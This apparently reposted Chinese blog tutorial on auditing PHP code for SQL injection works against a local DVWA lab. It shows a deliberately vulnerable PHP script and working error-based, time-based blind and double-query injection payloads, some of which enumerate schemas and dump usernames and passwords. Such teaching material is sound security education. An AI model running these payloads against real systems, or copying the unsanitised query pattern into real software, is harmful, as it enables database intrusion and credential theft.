代码审计系列第二节——SQL注入

admin 2021年11月22日03:41:57评论87 views字数 5701阅读19分0秒阅读模式

通过第一节给大家简单介绍了一下代码审计简单使用,那么第二节,我们来介绍一下,利用工具和手工进行漏洞挖掘。为了大家能对sql注入有更好的学习和收获。推荐大家几个学习php基础的网站

Imooc.com http://www.w3school.com.cn/php/index.aspw3school

Sql注入基础

下面是我们简单写了一个php后端传输语句,一共没有几行代码,如果上面几个基础网站你进行学习,那么下面这几行基础代码,看懂完全没有问题。数据库连接,利用$_GET用来显示数据库id号,进行遍历数据。这个是我们进行演示的小demo

 <?php

      $dbuser = "root";

 

      $dbpwd = "123456";    //这里是mysql的密码

 

      $db = "dvwa";

 

      $conn = mysql_connect("localhost",$dbuser,$dbpwd) ordie("error");

 

      mysql_select_db($db,$conn);

 

      $user_id = $_GET['user_id'];

 

      $query = "select * from users where user_id =$user_id";

 

      $result = mysql_query($query) or die(mysql_error());

 

      print_r(mysql_fetch_array($result));

      ?>

除了上面id可能出现注入,那么其它http头,也可能会出现注入问题。那么我们也会进行简单分析http头注入问题,下面给出一段http头注入小demo

http头渲染注入

function getip()

{

   if (getenv('HTTP_CLIENT_IP'))

    {

       $ip = getenv('HTTP_CLIENT_IP');

    }

  

   elseif (getenv('HTTP_X_FORWARDED_FOR'))

    {//获取客户端用代理服务器访问时的真实ip 地址

       $ip = getenv('HTTP_X_FORWARDED_FOR');

    }

   elseif (getenv('HTTP_X_FORWARDED'))

    {

       $ip = getenv('HTTP_X_FORWARDED');

    }

   elseif (getenv('HTTP_FORWARDED_FOR'))

    {

       $ip = getenv('HTTP_FORWARDED_FOR');

    }

   elseif (getenv('HTTP_FORWARDED'))

    {

       $ip = getenv('HTTP_FORWARDED');

    }

   else

    {

       $ip = $_SERVER['REMOTE_ADDR'];

    }

   return $ip;

}

http头注入点来源,来自下面几个函数头,如果平时你进行黑客测试,那么在进行抓包的时候,会经常看见下面函数头。

User-agent 浏览器版本 (少)

Referer     来源(少)

X-Forwarded-For 获取ip(高)

client_ip  获取ip(高)

注入分类,数字、字符、union、双查询

如何识别呢,黑盒测试,你可以进行加单引号或者是and 1=1来进行查看页面是否有变化。

代码审计系列第二节——SQL注入

①报错注入

这几条语句显示的非常清楚了,传过来一个id,进行了数据库语句操作,然而对$query没有进行安全过滤操作,直接进数据库。导致了sql注入产生。那么在进行单引号操作之后,页面发生一些错误。提示我们在1附近有单引号。

http://127.0.0.1/dvwa/Less-1/?id=1' and 1=0union select 1,count(*),concat((select email_id from emails whereid=5),0x2a,floor(rand(0)*2))x from users group by x--+

代码审计系列第二节——SQL注入

②数字型注入

代码审计系列第二节——SQL注入

在这个语句里面,没有单引号的保护,导致了数字型注入。和前面报错注入分析是一样的。只不过有了一个在进入数据库以后,会对一些符号进行转义,加上反斜杠。安全性适当加高。

时间注入

时间注入函数,主要是以后两个函数进行验证,time()函数和bendwith(),目前数据库都是大于5.0以后版本,支持time()操作,所以本文一下都是采用time()函数,来进行讲解的。

在进行讲解延时注入以前,给大家简单介绍几个函数。

数据库长度 

length((select @@version));(数据库版本的长度)

下面这个主要是判断版本号是否等于11,如果等于11,那么time函数立即返回,如果不等于11,那么time函数返回5秒。其它类似操作。

select id from users where id=1 and sleep(select if(length((select @@version))=11,0,5))

select id from users where id=1 andsleep(if(length((select @@version))=11,0,5))

select if(length((select@@version))=10,0,5);

 

1.获取数据库长度(这个用来判断数据库长度是否等于11,如果位数不等于11,可以自行往上加减)

select user_id from users where user_id=1and sleep(if(length((select @@version))=11,0,5));

2.获取数据库(主要是利用mid函数截取,一位一位截取,来进行判断版本是那个ascii值)

mid((select @@version),1,1)

select user_id from users where user_id=1and sleep(if((mid((select @@version),1,1))=11,0,5));

其实大部分数据都是常见字符和数字[a-zA-Z 0-9],不过也不限于这个。

select user_id from users where user_id=1and sleep(if((mid((select @@version),1,1))=5,0,5));

下面主要使用了ord函数,ord函数主要是把截取出来的字符,变成相应的ascii,这样就对比就相对变得简单容易。

ord(mid(select@@version),1,1),sleep(2),0)=x

 

sleep(if((ord(mid(  (select user())  ,1,1)) ) =10,0,5))

为了让大家认识更清晰,我下面用图给大家做了一下演示,把上面的命令给大家做了一下重现。

代码审计系列第二节——SQL注入

代码审计系列第二节——SQL注入



>>> print ord('a'), ord('0'),ord('1')

97 48 49

这个是pythonord的用法。其实最后达到的效果是一样,看完上面简单演示,你应该明白了ord的用法了吧。

select user();

基本原理了解以后,那么我们开始进行用户猜解操作,我们的用户是root,所以在这里你的第一位ascii码值应该r,所以在这里我们使用半折法来进行查找用户,这样就可以定义一个范围了。

select user_id from users where user_id=1and sleep(if((ord(mid((select user()),1,1)) ) > 10,0,5));

 

 

③双查询注入

科普

当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。

Floor() rand() count() concat() 四个函数就不做多介绍了。

Concat(‘a’,’b’)=ab

这个是user表中有几条记录,就显示几条版本号。

代码审计系列第二节——SQL注入

 select concat((select version()),floor(rand()*2)) from mysql.user;

这个主要是显示两个,一个末尾是标志的01,如果我们采用分组,就会显示两条了。

代码审计系列第二节——SQL注入

代码审计系列第二节——SQL注入


concat("abc","123")="abc123"

select concat((select version()))

select concat((selectversion()),floor(rand()*2)) from mysql.user;

rand()函数是生成0-1之间的小数随机值,rand()*2是生成0-2之间的小数随机数,floorrand()*2)就相当于生成0/1两个随机值。如果count()和分组函数遇到一块,就会发生报错,利用上面的版本号会报错。其它的类似,利用上面报错,我们可以报出我们需要的用户名和密码。

select concat((selectversion()),floor(rand()*2))a from information_schema.tables group by a;

select concat((select version()),floor(rand()*2))  from information_schema.tables

select count(*),concat((selectversion()),floor(rand()*2))a from information_schema.tables group by a

 

union select 1 from(select+count(*),concat(floor(rand(0)*2),( 注入爆数据语句))a from information_schema.tablesgroup by a)b

 

1、先读个数据库的版本、用户、当前库名

http://localhost/testmysql.php?user_id=1union select 1 from (select count(*), concat(floor(rand()*2),(selectconcat(version(),0x22,user(),0x22,database())))a from information_schema.tablesgroup by a)b

代码审计系列第二节——SQL注入

2、然后读数据库有哪些库

http://localhost/testmysql.php?user_id=1union select 1 from (select count(*), concat(floor(rand()*2),(selectschema_name from information_schema.schemata limit 0,1))a frominformation_schema.tables group by a)b

代码审计系列第二节——SQL注入

3、然后看看有什么表

http://localhost/testmysql.php?user_id=1union select 1 from (select+count(*),concat(floor(rand(0)*2),(select table_namefrom information_schema.tables where table_schema=0x64767761 limit 1,1))a frominformation_schema.tables group by a)b

代码审计系列第二节——SQL注入

4、然后看有什么字段

http://localhost/testmysql.php?user_id=1union  select 1 from (select count(*),concat(floor(rand(0)*2),(select column_name from information_schema.columnswhere table_name =0x7573657273 limit 0,1 ))a from information_schema.tablesgroup by a)b

代码审计系列第二节——SQL注入
代码审计系列第二节——SQL注入


5、然后读取字段的值

http://localhost/testmysql.php?user_id=1union Select 1 from (select count(*),concat(floor(rand(0)*2),(selectconcat(user,0x22,password) from dvwa.users limit 0,1))a frominformation_schema.tables group by a)b

代码审计系列第二节——SQL注入

select 1 from (selectcount(*),concat(floor(rand(0)*2),(注入语句))afrom information_schema.tables group by a )b

 

select 1 from (selectcount(*),concat(floor(rand()*2),(select column_name frominformation_schema.tables))a) group by a)b


本文作者:whitecell-club.org  redBu11

文章欢迎转载,但请务必保留作者与出处!


注:近日发现有个别组织和个人冒充WhiteCellClub团队成员对外行骗,请大家注意甄别,我们团队唯一官方地址为:http://whitecell-club.org 不在官网列表中的,均不是我们团队官方认证成员!

如果发现上述问题,请反馈给我们及时处理,举报邮箱:

[email protected]

[email protected]

对于恶意冒充和诋毁我们团队名誉的行为,我们不排除将实施对其追究法律责任的权利!

代码审计系列第二节——SQL注入


本文始发于微信公众号(WhiteCellClub):代码审计系列第二节——SQL注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年11月22日03:41:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   代码审计系列第二节——SQL注入https://cn-sec.com/archives/489746.html

发表评论

匿名网友 填写信息